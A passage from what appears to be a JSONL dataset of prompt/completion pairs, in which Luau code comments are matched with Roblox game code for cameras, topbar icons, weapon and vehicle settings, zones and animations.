BaseCamera:OnMousePanButtonReleased(input, processed)\n\tself:UpdateMouseBehavior()\n\tif not (self.isRightMouseDown or self.isMiddleMouseDown) then\n\t\tself.panBeginLook = nil\n\t\tself.startPos = nil\n\t\tself.lastPos = nil\n\t\tself.userPanningTheCamera = false\n\tend\nend\n\nfunction BaseCamera:OnMouseWheel(input, processed) -- remove with FFlagUserPointerActionsInPlayerScripts\n\tif not self.hasGameLoaded and VRService.VREnabled then\n\t\treturn\n\tend\n\tif not processed then\n\t\tif self.distanceChangeEnabled then\n\t\t\tlocal wheelInput = Util.Clamp(-1, 1, -input.Position.Z)\n\n\t\t\tlocal newDistance\n\t\t\tif self.inFirstPerson and wheelInput > 0 then\n\t\t\t\tnewDistance = FIRST_PERSON_DISTANCE_THRESHOLD\n\t\t\telse\n\t\t\t\t-- The 0.156 and 1.7 values are the slope and intercept of a line that is replacing the old\n\t\t\t\t-- rk4Integrator function which was not being used as an integrator, only to get a delta as a function of distance,\n\t\t\t\t-- which was linear as it was being used. These constants preserve the status quo behavior.\n\t\t\t\tnewDistance = self.currentSubjectDistance + 0.156 * self.currentSubjectDistance * wheelInput + 1.7 * math.sign(wheelInput)\n\t\t\tend\n\n\t\t\tself:SetCameraToSubjectDistance(newDistance)\n\t\tend\n\tend\nend\n\nfunction BaseCamera:UpdateMouseBehavior()\n\t-- first time transition to first person mode or mouse-locked third person\n\tif self.inFirstPerson or self.inMouseLockedMode then\n\t\tUserGameSettings.RotationType = Enum.RotationType.CameraRelative\n\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter\n\telse\n\t\tUserGameSettings.RotationType = Enum.RotationType.MovementRelative\n\t\tif self.isRightMouseDown or self.isMiddleMouseDown then\n\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition\n\t\telse\n\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\t\tend\n\tend\nend\n\nfunction BaseCamera:UpdateForDistancePropertyChange()\n\t-- Calling this setter with the current value will force checking that it is still\n\t-- in range after a change to the min/max distance limits\n\tself:SetCameraToSubjectDistance(self.currentSubjectDistance)\nend\n\nfunction BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\tlocal player = Players.LocalPlayer\n\n\tlocal lastSubjectDistance = self.currentSubjectDistance\n\n\t-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0\n\t-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made\n\t-- available by the developer without needing to allow players to mousewheel dolly into first person.\n\t-- Some modules will override this function to remove or change first-person capability.\n\tif player.CameraMode == Enum.CameraMode.LockFirstPerson then\n\t\tself.currentSubjectDistance = 0.5\n\t\tif not self.inFirstPerson then\n\t\t\tself:EnterFirstPerson()\n\t\tend\n\telse\n\t\tlocal newSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredSubjectDistance)\n\t\tif newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then\n\t\t\tself.currentSubjectDistance = 0.5\n\t\t\tif not self.inFirstPerson then\n\t\t\t\tself:EnterFirstPerson()\n\t\t\tend\n\t\telse\n\t\t\tself.currentSubjectDistance = newSubjectDistance\n\t\t\tif self.inFirstPerson then\n\t\t\t\tself:LeaveFirstPerson()\n\t\t\tend\n\t\tend\n\tend\n\n\t-- Pass target distance and zoom direction to the zoom controller\n\tZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))\n\n\t-- Returned only for convenience to the caller to know the outcome\n\treturn self.currentSubjectDistance\nend\n\nfunction BaseCamera:SetCameraType( cameraType )\n\t--Used by derived classes\n\tself.cameraType = cameraType\nend\n\nfunction BaseCamera:GetCameraType()\n\treturn self.cameraType\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nDisplays = 3 -- Sets how many displays this scripts will use...\nDisplayColor = Color3.fromRGB(255, 255, 255)\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER\t= Players.LocalPlayer\nlocal EVENTS\t= ReplicatedStorage:WaitForChild(\"Events\")\nlocal REMOTES\t= ReplicatedStorage:WaitForChild(\"Remotes\")\nlocal MODULES\t= ReplicatedStorage:WaitForChild(\"Modules\")\n\tlocal CONFIG\t\t= require(MODULES:WaitForChild(\"Config\"))\n\tlocal MOUSE\t\t\t= require(MODULES:WaitForChild(\"Mouse\"))\n\tlocal EFFECTS\t\t= require(MODULES:WaitForChild(\"Effects\"))\n\tlocal DAMAGE\t\t= require(MODULES:WaitForChild(\"Damage\"))\n\tlocal INPUT\t\t\t= require(MODULES:WaitForChild(\"Input\"))\n\t\nlocal EQUIP_COOLDOWN\t= 0.2\n"} +{"prompt": "-- BEHAVIOUR\n--Controller support", "completion": "\ncoroutine.wrap(function()\n\t\n\t-- Create PC 'Enter Controller Mode' Icon\n\trunService.Heartbeat:Wait() -- This is required to prevent an infinite recursion\n\tlocal Icon = require(iconModule)\n\tlocal controllerOptionIcon = Icon.new()\n\t\t:setProperty(\"internalIcon\", true)\n\t\t:setName(\"_TopbarControllerOption\")\n\t\t:setOrder(100)\n\t\t:setImage(11162828670)\n\t\t:setRight()\n\t\t:setEnabled(false)\n\t\t:setTip(\"Controller mode\")\n\t\t:setProperty(\"deselectWhenOtherIconSelected\", false)\n\n\t-- This decides what controller widgets and displays to show based upon their connected inputs\n\t-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle\n\t-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode\n\tuserInputService:GetPropertyChangedSignal(\"MouseEnabled\"):Connect(IconController._determineControllerDisplay)\n\tuserInputService.GamepadConnected:Connect(IconController._determineControllerDisplay)\n\tuserInputService.GamepadDisconnected:Connect(IconController._determineControllerDisplay)\n\tIconController._determineControllerDisplay()\n\n\t-- Enable/Disable Controller Mode when icon clicked\n\tlocal function iconClicked()\n\t\tlocal isSelected = controllerOptionIcon.isSelected\n\t\tlocal iconTip = (isSelected and \"Normal mode\") or \"Controller mode\"\n\t\tcontrollerOptionIcon:setTip(iconTip)\n\t\tIconController._enableControllerMode(isSelected)\n\tend\n\tcontrollerOptionIcon.selected:Connect(iconClicked)\n\tcontrollerOptionIcon.deselected:Connect(iconClicked)\n\n\t-- Hide/show topbar when indicator action selected in controller mode\n\tuserInputService.InputBegan:Connect(function(input,gpe)\n\t\tif not IconController.controllerModeEnabled then return end\n\t\tif input.KeyCode == Enum.KeyCode.DPadDown then\n\t\t\tif not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then\n\t\t\t\tIconController.setTopbarEnabled(true,false)\n\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.ButtonB and not IconController.disableButtonB then\n\t\t\tif IconController.activeButtonBCallbacks == 1 and TopbarPlusGui.Indicator.Image == \"rbxassetid://5278151556\" then\n\t\t\t\tIconController.activeButtonBCallbacks = 0\n\t\t\t\tguiService.SelectedObject = nil\n\t\t\tend\n\t\t\tif IconController.activeButtonBCallbacks == 0 then\n\t\t\t\tIconController._previousSelectedObject = guiService.SelectedObject\n\t\t\t\tIconController._setControllerSelectedObject(nil)\n\t\t\t\tIconController.setTopbarEnabled(false,false)\n\t\t\tend\n\t\tend\n\t\tinput:Destroy()\n\tend)\n\n\t-- Setup overflow icons\n\tfor alignment, detail in pairs(alignmentDetails) do\n\t\tif alignment ~= \"mid\" then\n\t\t\tlocal overflowName = \"_overflowIcon-\"..alignment\n\t\t\tlocal overflowIcon = Icon.new()\n\t\t\t\t:setProperty(\"internalIcon\", true)\n\t\t\t\t:setImage(6069276526)\n\t\t\t\t:setName(overflowName)\n\t\t\t\t:setEnabled(false)\n\t\t\tdetail.overflowIcon = overflowIcon\n\t\t\toverflowIcon.accountForWhenDisabled = true\n\t\t\tif alignment == \"left\" then\n\t\t\t\toverflowIcon:setOrder(math.huge)\n\t\t\t\toverflowIcon:setLeft()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"right\")\n\t\t\telseif alignment == \"right\" then\n\t\t\t\toverflowIcon:setOrder(-math.huge)\n\t\t\t\toverflowIcon:setRight()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"left\")\n\t\t\tend\n\t\t\toverflowIcon.lockedSettings = {\n\t\t\t\t[\"iconImage\"] = true,\n\t\t\t\t[\"order\"] = true,\n\t\t\t\t[\"alignment\"] = true,\n\t\t\t}\n\t\tend\n\tend\n\n\n\n\n\n\t-- This checks if voice chat is enabled\n\ttask.defer(function()\n\t\tlocal success, enabledForUser\n\t\twhile true do\n\t\t\tsuccess, enabledForUser = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end)\n\t\t\tif success then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\ttask.wait(1)\n\t\tend\n\t\tlocal function checkVoiceChatManuallyEnabled()\n\t\t\tif IconController.voiceChatEnabled then\n\t\t\t\tif success and enabledForUser then\n\t\t\t\t\tvoiceChatIsEnabledForUserAndWithinExperience = true\n\t\t\t\t\tIconController.updateTopbar()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcheckVoiceChatManuallyEnabled()\n\t\t\n\t\t--------------- FEEL FREE TO DELETE THIS IS YOU DO NOT USE VOICE CHAT WITHIN YOUR EXPERIENCE ---------------\n\t\tlocalPlayer.PlayerGui:WaitForChild(\"TopbarPlus\", 999)\n\t\ttask.delay(10, function()\n\t\t\tcheckVoiceChatManuallyEnabled()\n\t\t\tif IconController.voiceChatEnabled == nil and success and enabledForUser and isStudio then\n\t\t\t\twarn(\"\u26a0\ufe0fTopbarPlus Action Required\u26a0\ufe0f If VoiceChat is enabled within your experience it's vital you set IconController.voiceChatEnabled to true ``require(game.ReplicatedStorage.Icon.IconController).voiceChatEnabled = true`` otherwise the BETA label will not be accounted for within your live servers. This warning will disappear after doing so. Feel free to delete this warning or to set to false if you don't have VoiceChat enabled within your experience.\")\n\t\t\tend\n\t\tend)\n\t\t------------------------------------------------------------------------------------------------------------\n\n\tend)\n\t\n\t\n\t\n\n\n\tif not isStudio then\n\t\tlocal ownerId = game.CreatorId\n\t\tlocal groupService = game:GetService(\"GroupService\")\n\t\tif game.CreatorType == Enum.CreatorType.Group then\n\t\t\tlocal success, ownerInfo = pcall(function() return groupService:GetGroupInfoAsync(game.CreatorId).Owner end)\n\t\t\tif success then\n\t\t\t\townerId = ownerInfo.Id\n\t\t\tend\n\t\tend\n\t\tlocal version = require(iconModule.VERSION)\n\t\tif localPlayer.UserId ~= ownerId then\n\t\t\tlocal marketplaceService = game:GetService(\"MarketplaceService\")\n\t\t\tlocal success, placeInfo = pcall(function() return marketplaceService:GetProductInfo(game.PlaceId) end)\n\t\t\tif success and placeInfo then\n\t\t\t\t-- Required attrbute for using TopbarPlus\n\t\t\t\t-- This is not printed within stuido and to the game owner to prevent mixing with debug prints\n\t\t\t\tlocal gameName = placeInfo.Name\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend\n\nend)()\n"} +{"prompt": "-- for moving text and images", "completion": "\nfunction UITween.move(object, position, time, delay)\n\t\n\twait(delay)\n\tobject:TweenPosition(position, Enum.EasingDirection.Out, Enum.EasingStyle.Quint, time)\n\nend\n"} +{"prompt": "-- SERVICES --", "completion": "\nlocal RS = game:GetService(\"ReplicatedStorage\")\n"} +{"prompt": "------Transparency--------", "completion": "\n\nfunction onTouch(part) \nlocal human = part.Parent:findFirstChild(\"Humanoid\") \nif human ~= nil then \npart.Parent:findFirstChild(\"Head\").Transparency = 0\npart.Parent:findFirstChild(\"Torso\").Transparency = 0\npart.Parent:findFirstChild(\"Left Arm\").Transparency = 0\npart.Parent:findFirstChild(\"Right Arm\").Transparency = 0\npart.Parent:findFirstChild(\"Left Leg\").Transparency = 0\npart.Parent:findFirstChild(\"Right Leg\").Transparency = 0\nif part.Parent:findFirstChild(\"Torso\"):findFirstChild(\"roblox\") == nil then return end\npart.Parent:findFirstChild(\"Torso\"):findFirstChild(\"roblox\"):remove()\nend \nend \nscript.Parent.Touched:connect(onTouch) \n"} +{"prompt": "--// Weapon Parts", "completion": "\nlocal L_52_ = L_1_:WaitForChild('AimPart')\nlocal L_53_\nlocal L_54_ = L_1_:WaitForChild('Grip')\nlocal L_55_ = L_1_:WaitForChild('FirePart')\nlocal L_56_\nlocal L_57_ = L_1_:WaitForChild('Mag')\nlocal L_58_ = L_1_:WaitForChild('Bolt')\n"} +{"prompt": "--[[**\n\tensures Roblox Ray type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Ray = primitive(\"Ray\")\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid)\n\tif (animName ~= currentAnim) then\t\t \n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop()\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--------| Library |--------", "completion": "\nlocal _L; coroutine.wrap(function() _L = require(game.ReplicatedStorage:WaitForChild(\"Resources\")) end)()\n"} +{"prompt": "--//Server Animations", "completion": "\n\tRightHighReady = CFrame.new(-1, -.5, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0));\n\tLeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15));\n\n\tRightLowReady = CFrame.new(-1, 0.85, -1.15) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));\n\tLeftLowReady = CFrame.new(.95,.75,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));\n\n\tRightPatrol = CFrame.new(-1, 1.5, -0.45) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0));\n\tLeftPatrol = CFrame.new(1,1.35,-0.75) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));\n\n\tRightAim = CFrame.new(-.575, 1, -.65) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));\n\tLeftAim = CFrame.new(1.3,0.35,-1.45) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25));\n\t\n\tRightSprint = CFrame.new(-1, 1.5, -0.45) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0));\n\tLeftSprint = CFrame.new(1,1.35,-0.75) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));\n\n\tShootPos = CFrame.new(0,0,.25);\n\t\n}\n\nreturn module\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\nLift:WaitForChild(\"Velocity\").Changed:connect(function(val)\n\t--custom indicator code--\n\tif val == 0 then\n\t\tfor i=1,8,1 do\n\t\t\tChangeFloor(tostring(\"NIL\"))\n\t\t\twait(0.2)\n\t\t\tChangeFloor(tostring(Lift:WaitForChild(\"Floor\").Value))\n\t\t\twait(0.2)\n\t\tend\n\tend\nend)\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"Matrix\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,5 do\t\n\t\t\t\tThis.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveCol) or BrickColor.new(InactiveCol))\n\t\t\t\tThis.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].Material = (l:sub(r,r) == \"1\" and \"Neon\" or \"SmoothPlastic\")\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 100 / 750; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "-- An object which can listen for updates on another state object.", "completion": "\nexport type Observer = Dependent & {\n\t-- kind: \"Observer\" (add this when Luau supports singleton types)\n \tonChange: (Observer, callback: () -> ()) -> (() -> ())\n}\n"} +{"prompt": "--// Explosive Settings", "completion": "\n\tBlastPressue = 500000;\n\tBlastRadius = 10;\n\tDestroyJointRadius = 10;\n\tExplosionType = Enum.ExplosionType.NoCraters; -- Might wanna leave it like this\n\n\t}\n\nreturn Settings\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nlocal Array = script.Parent\nlocal Packages = Array.Parent.Parent\nlocal types = require(Packages.ES7Types)\ntype Array = types.Array\ntype Object = types.Object\n"} +{"prompt": "-- PRIVATE FUNCTIONS", "completion": "\nfunction ZoneController._registerZone(zone)\n \tregisteredZones[zone] = true\n\tlocal registeredMaid = zone._maid:give(Maid.new())\n\tzone._registeredMaid = registeredMaid\n\tregisteredMaid:give(zone.updated:Connect(function()\n\t\tZoneController._updateZoneDetails()\n\tend))\n ZoneController._updateZoneDetails()\nend\n\nfunction ZoneController._deregisterZone(zone)\n\tregisteredZones[zone] = nil\n\tzone._registeredMaid:clean()\n\tzone._registeredMaid = nil\n\tZoneController._updateZoneDetails()\nend\n\nfunction ZoneController._registerConnection(registeredZone, registeredTriggerType)\n\tlocal originalItems = dictLength(registeredZone.activeTriggers)\n\tactiveConnections += 1\n\tif originalItems == 0 then\n\t\tactiveZones[registeredZone] = true\n\t\tZoneController._updateZoneDetails()\n\tend\n\tlocal currentTriggerCount = activeTriggers[registeredTriggerType]\n\tactiveTriggers[registeredTriggerType] = (currentTriggerCount and currentTriggerCount+1) or 1\n\tregisteredZone.activeTriggers[registeredTriggerType] = true\n\tif registeredZone.touchedConnectionActions[registeredTriggerType] then\n\t\tregisteredZone:_formTouchedConnection(registeredTriggerType)\n\tend\n\tif heartbeatActions[registeredTriggerType] then\n\t\tZoneController._formHeartbeat(registeredTriggerType)\n\tend\nend\n"} +{"prompt": "--[[**\n\tensures Roblox RBXScriptConnection type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.RBXScriptConnection = primitive(\"RBXScriptConnection\")\n"} +{"prompt": "--//Shifting//-", "completion": "\nif key == \"-\" then\n\tcar.DriveSeat.Air:Play()\n\tcarSeat.Wheels.FR.Spring.Stiffness = 9000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 9000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 9000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 9000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.58\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.58\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.58\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.58\n\twait(0.12)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 8000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 8000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 8000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 8000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.5775\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.5775\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.5775\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.5775\n\twait(0.12)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 7000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 7000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 7000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 7000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.575\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.575\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.575\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.575\n\twait(0.12)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 6000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 6000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 6000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 6000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.5725\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.5725\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.5725\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.5725\n\twait(0.11)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 5000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 5000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 5000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 5000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.57\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.57\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.57\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.57\n\nelseif key == \"=\" then\n\tcar.DriveSeat.Air:Play()\n\twait(0.06)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 5000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 5000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 5000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 5000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.57\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.57\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.57\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.57\n\twait(0.07)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 6000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 6000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 6000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 6000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.5725\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.5725\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.5725\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.5725\n\twait(0.08)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 7000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 7000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 7000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 7000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.575\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.575\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.575\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.575\n\twait(0.09)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 8000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 8000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 8000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 8000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.5775\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.5775\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.5775\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.5775\n\twait(0.1)\n\tcarSeat.Wheels.FR.Spring.Stiffness = 9000\n \tcarSeat.Wheels.FL.Spring.Stiffness = 9000\n\tcarSeat.Wheels.RR.Spring.Stiffness = 9000\n\tcarSeat.Wheels.RL.Spring.Stiffness = 9000\n\tcarSeat.Wheels.FR.Spring.MinLength = 1.58\n\tcarSeat.Wheels.FL.Spring.MinLength = 1.58\n\tcarSeat.Wheels.RR.Spring.MinLength = 1.58\n\tcarSeat.Wheels.RL.Spring.MinLength = 1.58\n\tend\nend)\n\n\n"} +{"prompt": "--[=[\n @function freeze\n @within Dictionary\n\n @param dictionary T -- The dictionary to freeze.\n @return T -- The frozen dictionary.\n\n Freezes the given dictionary at the top level, making it read-only.\n\n ```lua\n local dictionary = { hello = \"roblox\", goodbye = { world = \"world\" } }\n\n local new = Freeze(dictionary)\n\n new.hello = \"world\" -- error!\n new.goodbye.world = \"hello\" -- still works!\n ```\n]=]", "completion": "\nlocal function freeze(dictionary: _T.AnyDictionary): _T.AnyDictionary\n\tlocal new = Copy(dictionary)\n\n\ttable.freeze(new)\n\n\treturn new\nend\n\nreturn freeze\n"} +{"prompt": "--Set up gui - has its own class", "completion": "\nlocal VehicleGui = require(script.Parent:WaitForChild(\"LocalVehicleGui\")).new(Car)\nVehicleGui:Enable()\nVehicleGui:EnableDriverControls()\nVehicleGui:EnableSpeedo()\n\nlocal Keymap = require(ScriptsFolder.Keymap)\nlocal LocalVehicleSeating = require(ScriptsFolder.LocalVehicleSeating)\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nreturn {\n\tcharCodeAt = require(script.charCodeAt),\n\tendsWith = require(script.endsWith),\n\tfindOr = require(script.findOr),\n\tincludes = require(script.includes),\n\tindexOf = require(script.indexOf),\n\tlastIndexOf = require(script.lastIndexOf),\n\tslice = require(script.slice),\n\tsplit = require(script.split),\n\tstartsWith = require(script.startsWith),\n\tsubstr = require(script.substr),\n\ttrim = require(script.trim),\n\ttrimEnd = require(script.trimEnd),\n\ttrimStart = require(script.trimStart),\n\t-- aliases for trimEnd and trimStart\n\ttrimRight = require(script.trimEnd),\n\ttrimLeft = require(script.trimStart),\n}\n"} +{"prompt": "--[[**\n\tensures Roblox Vector3 type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Vector3 = primitive(\"Vector3\")\n"} +{"prompt": "--If you want to learn more or just say hello, please message me!\n-- http://www.roblox.com/My/PrivateMessage.aspx?RecipientID=269323", "completion": "\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------------------------", "completion": "\n\n\n\nlocal BASE_HEIGHT \t\t= 2\t\t\t-- The main height factor for the terrain.\n\nlocal CHUNK_SCALE \t\t= 3 \t\t\t\t-- The grid scale for terrain generation. Should be kept relatively low if used in real-time.\n\nlocal RENDER_DISTANCE \t= 50 \t\t\t\t-- The length/width of chunks in voxels that should be around the player at all times\n\nlocal X_SCALE \t\t\t= 90\t\t\t-- How much we should strech the X scale of the generation noise\n\nlocal Z_SCALE \t\t\t= 90\t\t\t-- How much we should strech the Z scale of the generation noise\n\nlocal GENERATION_SEED\t= math.random() \t-- Seed for determining the main height map of the terrain.\n\nlocal TERRAIN_TYPE = Enum.Material.Grass --Terrain Type\n\n\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2500\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t4\t\t,\n\t --[[Length]]\t\t15\t\t}\n\tTune.WeightDist\t\t= 54\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = MORE STABLE / carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- Show the help text for joining and leaving channels. This is not useful unless custom channels have been added.\n-- So it is turned off by default.", "completion": "\nmodule.ShowJoinAndLeaveHelpText = false\n"} +{"prompt": "--//Client Anims", "completion": "\nlocal Speedo\n\nfunction IdleAnim(L_442_arg1)\n\tAnims.IdleAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction StanceDown(L_442_arg1)\n\tAnims.StanceDown(Character, Speedo, 